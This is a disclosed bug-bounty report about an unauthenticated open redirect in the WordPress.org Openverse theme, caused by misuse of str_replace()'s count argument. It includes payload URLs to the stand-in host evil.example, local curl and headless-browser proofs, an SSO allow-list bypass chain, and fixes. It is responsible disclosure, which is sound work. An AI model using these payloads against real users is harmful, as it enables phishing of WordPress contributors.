HexBrain

WordPress · Report #3933198

wordpress.org/openverse/: unauthenticated open redirect — `str_replace()`'s 4th arg is a count, not a limit; bypasses WordPress.org SSO allow-list

Validstatus
mediumseverity
31upvotes
30 Oct 2026disclosed

How it was found

Description:

Every request under https://wordpress.org/openverse/… is served by the wporg-openverse theme's index.php. With the redirect enabled, that template builds a target by concatenating a bare origin (https://openverse.wordpress.net — no trailing slash, enforced by the setting's own sanitize_callback) with the request path after removing the /openverse prefix.

The prefix removal is written as str_replace( OPENVERSE_SUBPATH, '', $path, $count ) with $count = 1 and the comment "Only replace the leading Openverse subpath." But str_replace() has no limit parameter — its 4th argument is a by-reference output that receives the number of replacements performed, and the 1 is silently overwritten. Every occurrence of /openverse is therefore deleted, not just the leading one.

A request path of /openverse/[email protected]/ collapses to @evil.example/, and concatenating that onto a bare origin produces https://[email protected]/ — a URL whose authority is evil.example. It is then handed to wp_redirect(), not wp_safe_redirect(), so no allow-list is consulted.

Why this is not "an open redirect with no security impact": The program excludes open redirects that carry no security impact. This one defeats a security control that WordPress.org deliberately built and maintains. The WordPress.org SSO plugin restricts post-login redirect_to targets to an allow-list of four domains (common/includes/wporg-sso/class-wporg-sso.php:23-28, _is_valid_targeted_domain() at :203-224). https://wordpress.org/openverse/[email protected]/ is a wordpress.org URL — its parse_url(…, PHP_URL_HOST) is literally wordpress.org — so it passes that allow-list, and then 301s the freshly-authenticated user to evil.example. That is exactly the outcome the allow-list exists to prevent. Additional impact beyond a bare redirect: the response is a 301 (browser caches the poisoned mapping for that wordpress.org URL); the link the victim sees has hostname wordpress.org with no suspicious ?url= parameter; the destination is reached with a real *.wordpress.org referrer.

Asset: *.wordpress.org — meta repository, wordpress.org/public_html/wp-content/themes/pub/wporg-openverse (functions.php, index.php), the theme that serves the /openverse/ site of the WordPress.org multisite.

Affected versions verified: meta trunk at commit 08b412bd0b09c54528500073f90e3c4c50357a5b (2026-07-27). Deployed WordPress.org code, not an unreleased branch — the theme is live and still maintained (last touched 2026-05-22, 7b7c6bc). No pre-release double bounty is claimed. (Confirmed still present in current trunk: get_target_url() still uses str_replace( …, $count ) with $count = 1.) The redirect feature was introduced by https://github.com/WordPress/wordpress.org/pull/98 (Meta Trac #6578) and WordPress announced on 2023-02-08 that it is live (https://make.wordpress.org/openverse/2023/02/08/openverse-org-is-live/).

Attacker privilege: Unauthenticated. No WordPress.org account, no session, no CSRF token. The attacker only needs the victim to follow a link whose hostname is literally wordpress.org. User interaction: required — the victim follows the link. Normal interaction model for an open redirect.

Root cause with real file:line and verbatim code

1. All paths under /openverse/ reach the theme template.

wordpress.org is a sub-directory multisite; core resolves the site from at most the first path segment (wp-includes/ms-load.php, ms_load_current_site_and_network(): $current_blog = get_site_by_path( $domain, $path, 1 );). So /openverse/<anything>/<anything> resolves to the /openverse/ site. The theme then forces index.php for every view and suppresses request parsing — themes/pub/wporg-openverse/functions.php:46-48:

	foreach ( array( '404', 'archive', 'author', 'category', 'tag', 'taxonomy', 'date', 'embed', 'home', 'frontpage', 'privacypolicy', 'page', 'paged', 'search', 'single', 'singular', 'attachment' ) as $template_type ) {
		add_filter( $template_type . '_template', __NAMESPACE__ . '\use_index_php_as_template' );
	}

functions.php:79-85:

function disable_parse_request( $return, $wp ) {
	// Avoid E_WARNING: array_keys() expects parameter 1 to be array, null given in wp-includes/class-wp.php:548
	$wp->query_vars = array();

	return false;
}
add_filter( 'do_parse_request', __NAMESPACE__ . '\disable_parse_request', 10, 2 );

The function's own docblock confirms deep paths are expected to work — functions.php:255-257:

 * Examples:
 * - https://ru.wordpress.org/openverse → {ov_redirect_url}/ru/
 * - https://wordpress.org/openverse/search/?q=dog → {ov_redirect_url}/search/?q=dog

2. The sink. themes/pub/wporg-openverse/functions.php:259-275:

function get_target_url() {
	$target_url = get_theme_mod( 'ov_redirect_url', OPENVERSE_STANDALONE_URL );

	$curr_locale = get_locale();
	$locale = get_locale_slug( $curr_locale );
	if ( $locale !== '' ) {
		$target_url .= '/' . $locale;
	}

	$path = $_SERVER['REQUEST_URI'];
	if ( $path ) {
		$count = 1; // Only replace the leading Openverse subpath.
		$target_url .= str_replace( OPENVERSE_SUBPATH, '', $path, $count );
	}

	return $target_url;
}
  • OPENVERSE_SUBPATH is '/openverse' (functions.php:25).
  • OPENVERSE_STANDALONE_URL is 'https://openverse.wordpress.net' (functions.php:248).
  • The base origin is guaranteed to be a bare scheme+host with no trailing slash, because the Customizer setting strips one — functions.php:296-304:
		'sanitize_callback' => function( $val, $setting ) {
			if ( substr( $val, -1 ) == '/' ) { // If the last character is a slash '/',...
				$val = substr( $val, 0, -1 );    // ...remove it.
			}

That is precisely what lets the concatenated remainder extend the authority rather than the path, and it means the bug works against whatever origin is configured.

  • get_locale_slug() returns '' for en_US (functions.php:93-99), so on wordpress.org itself nothing is inserted between the origin and the attacker-controlled remainder.

3. Unsafe redirect API. themes/pub/wporg-openverse/index.php:23-31:

$is_redirect_enabled = get_theme_mod( 'ov_is_redirect_enabled' );
$target_url = get_target_url();

if ( $is_redirect_enabled ) {
	wp_redirect( $target_url, 301 );
	exit;
} else {
	echo "<!-- " . $target_url . " -->";
}

wp_redirect() performs no destination validation; it applies only the wp_redirect filter and wp_sanitize_redirect(), which preserves . and @.

4. No compensating guard anywhere in the network.

  • No add_filter( 'wp_redirect', … ) exists in the meta repository or in wporg-mu-plugins (grepped both trees; zero hits).
  • The only three allowed_redirect_hosts filters (plugin-directory/class-plugin-directory.php:54, wporg-learn/inc/redirects.php:8, common/includes/wporg-sso/wp-plugin.php:289) are consumed exclusively by wp_validate_redirect(), i.e. by wp_safe_redirect(). They are irrelevant to wp_redirect().

Steps To Reproduce:

Two payload families, plain ASCII, no encoding tricks, no account:

A — userinfo variant (no attacker DNS setup at all, origin-agnostic):

https://wordpress.org/openverse/[email protected]/
→ Location: https://[email protected]/     (authority = evil.example)

B — hostname-suffix variant (attacker adds one DNS record; no userinfo in the address bar):

https://wordpress.org/openverse/openverse.evil.example/
→ Location: https://openverse.wordpress.net.evil.example/

Path and query are fully attacker-chosen:

https://wordpress.org/openverse/[email protected]/login?next=x
→ Location: https://[email protected]/login?next=x

No request was sent to any WordPress.org production host. Everything below ran locally against the unmodified theme source.

Proof — real observed output

(1) PHP semantics of the 4th argument

$ php -r '$c=1; var_dump(str_replace("/openverse","","/openverse/[email protected]/",$c), $c);'
string(14) "@evil.example/"
int(2)

$count is an output; both occurrences were removed, and the 1 was overwritten with 2.

(2) End-to-end HTTP against the real, unmodified theme

A tiny router boots WordPress 7.0.2 (so wp_redirect() / wp_sanitize_redirect() are the real core functions), requires the untouched meta/…/themes/pub/wporg-openverse/functions.php, supplies the two Customizer values under test via theme_mod_* filters (so no database state is mutated), and then executes the theme's own index.php:23-31 verbatim. Observed responses:

=== BASELINE (the two docblock examples from functions.php:256-257) ===
REQ /openverse/                                          Location: https://openverse.wordpress.net/
REQ /openverse/search/?q=dog                             Location: https://openverse.wordpress.net/search/?q=dog

=== PAYLOADS ===
REQ /openverse/[email protected]/                   Location: https://[email protected]/
REQ /openverse/openverse.evil.example/                   Location: https://openverse.wordpress.net.evil.example/
REQ /openverse/[email protected]/login?next=x       Location: https://[email protected]/login?next=x

=== NEGATIVE CONTROLS (proving this is specifically the multi-occurrence strip) ===
REQ /openverse//evil.example                             Location: https://openverse.wordpress.net//evil.example
REQ /openverse/@evil.example                             Location: https://openverse.wordpress.net/@evil.example
REQ /openverse/x/openverse.evil.example                  Location: https://openverse.wordpress.net/x.evil.example

The baseline rows are byte-for-byte what the function's own documentation promises, and are unaffected. The three controls stay on-origin — this is not generic path confusion, it is the second /openverse being eaten.

(3) A real browser follows it, with no prompt

Same router, with ov_redirect_url filtered to a local stand-in origin of the same shape (http://openverse.wordpress.net, no trailing slash) so that the browser can be allowed to complete the navigation. The Location header below is produced by the real theme code, not hand-written:

$ curl -sS -i --path-as-is "http://127.0.0.1:8605/openverse/[email protected]:8605/landed"
HTTP/1.1 301 Moved Permanently
X-Redirect-By: WordPress
Location: http://[email protected]:8605/landed

$ chromium --headless --no-sandbox --disable-gpu --virtual-time-budget=6000 \
    --dump-dom "http://127.0.0.1:8605/openverse/[email protected]:8605/landed"
<!DOCTYPE html>
<html><head></head><body>ATTACKER-ORIGIN-REACHED host=…127.0.0.1:8605</body></html>

Chromium 145.0.7632.159 followed the userinfo form of the redirect straight to the other origin and the landing page reported its own location.host. No interstitial, no warning.

(4) The SSO allow-list accepts the payload URL

common/includes/wporg-sso/class-wporg-sso.php:203-224:

		protected function _is_valid_targeted_domain( $host ) {
			if ( empty( $host ) || ! is_string( $host ) ) {
				return false;
			}

			if ( strstr( $host, '/' ) ) {
				$host = parse_url( $host, PHP_URL_HOST );
			}
			…
			$host = $this->_get_targetted_host( $host );

			return in_array( $host, self::VALID_HOSTS, true );
		}

with const VALID_HOSTS = [ 'wordpress.org', 'bbpress.org', 'buddypress.org', 'wordcamp.org' ] (:23-28), consumed by login_url() (:137), _get_safer_redirect_to() (:177) and wp_validate_redirect() (wp-plugin.php:733).

$ php -r 'var_dump(parse_url("https://wordpress.org/openverse/[email protected]/", PHP_URL_HOST));'
string(13) "wordpress.org"

So https://login.wordpress.org/?redirect_to=<urlencoded payload> is accepted as a legitimate target and becomes a login-branded, fully-trusted-domain launcher that deposits the freshly-authenticated user on attacker-controlled content.

Honest limitations

  1. Two runtime facts could not be verified by me, because the rules of engagement forbid sending traffic to production and I sent none:
    • ov_is_redirect_enabled must be true for the /openverse/ site. Its Customizer default is false (functions.php:322-326). The public evidence that it is on: the WordPress project's own 2023-02-08 announcement that wordpress.org/openverse redirects to the standalone domain, and PR #98 / Meta Trac #6578 which added exactly this code for exactly that purpose. Please confirm the theme mod before triaging severity.
    • /openverse/ must still be served by this theme rather than by an edge/nginx redirect that never reaches PHP. I cannot distinguish those from a local clone.
  2. Neither caveat affects the code defect, which is unconditional and reproduced above. If the toggle is currently off, this is a latent defect that becomes live the moment anyone turns it on — and the else branch it falls into (echo "<!-- " . $target_url . " -->", index.php:30) is the same unsanitised value emitted into HTML. I judged that branch not exploitable from a browser, because browsers percent-encode < and > in the path and query, so the --> needed to escape the HTML comment cannot be delivered by navigation — but it is one more reason to fix the URL-building itself.
  3. Payload family B needs one attacker-controlled DNS record; family A needs nothing and is the one I proved in a browser.

Recommendations

Two independent changes; please apply both.

  1. Strip the prefix as a prefix — functions.php:268-272:
	$path = $_SERVER['REQUEST_URI'] ?? '';
	if ( str_starts_with( $path, OPENVERSE_SUBPATH ) ) {
		$path = substr( $path, strlen( OPENVERSE_SUBPATH ) );
	}
	if ( '' === $path || '/' !== $path[0] ) {
		$path = '/' . ltrim( $path, '/' );   // never let the remainder extend the authority
	}
	$target_url .= $path;

(preg_replace( '#^' . preg_quote( OPENVERSE_SUBPATH, '#' ) . '#', '', $path, 1 ) is an equally valid prefix-only strip — the point is that str_replace() cannot express "only the first".)

  1. Defence in depth — index.php:27: use wp_safe_redirect( $target_url, 301 ) and register the standalone origin through allowed_redirect_hosts, so that any future slip in the URL-building logic cannot produce an off-site Location.

A grep for str_replace( with a literal 1 in the 4th position across the meta repository is worth doing at the same time — this is a repeatable API-misuse pattern, and PHP raises no diagnostic for it.

AI tooling disclosure

Per the program's guidelines and the WordPress AI Guidelines:

AI assistance: Yes — substantial. Tool(s): Claude (Anthropic), used through the Claude Code agentic harness. Used for: source review and candidate-vulnerability search; building and running the local test harnesses; and drafting this report — the prose here is largely AI-authored and subsequently reviewed and corrected by me. Verification: every technical claim was verified by executing it against a local installation. Every quoted output is real observed output, not model narration; claims that did not survive that verification were removed before submission. No production host was contacted. Responsibility: I have reviewed the report in full and take responsibility for its content.

Prior art / duplicate check

Verdict: likely novel — and still live in current meta trunk.

HackerOne hacktivity cannot be enumerated without authentication, so an undisclosed duplicate cannot be ruled out with certainty.

Impact

Any visitor who follows a link whose hostname is literally wordpress.org is silently 301-redirected to a host the attacker controls, with a *.wordpress.org referrer and a browser-cached permanent mapping. Chained through login.wordpress.org's redirect_to, it also defeats the WordPress.org SSO redirect allow-list, which is the specific control built to stop exactly this.

Practically this is a high-quality phishing primitive against WordPress site owners, plugin authors and contributors — the population that is trained to check that a link points at wordpress.org.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original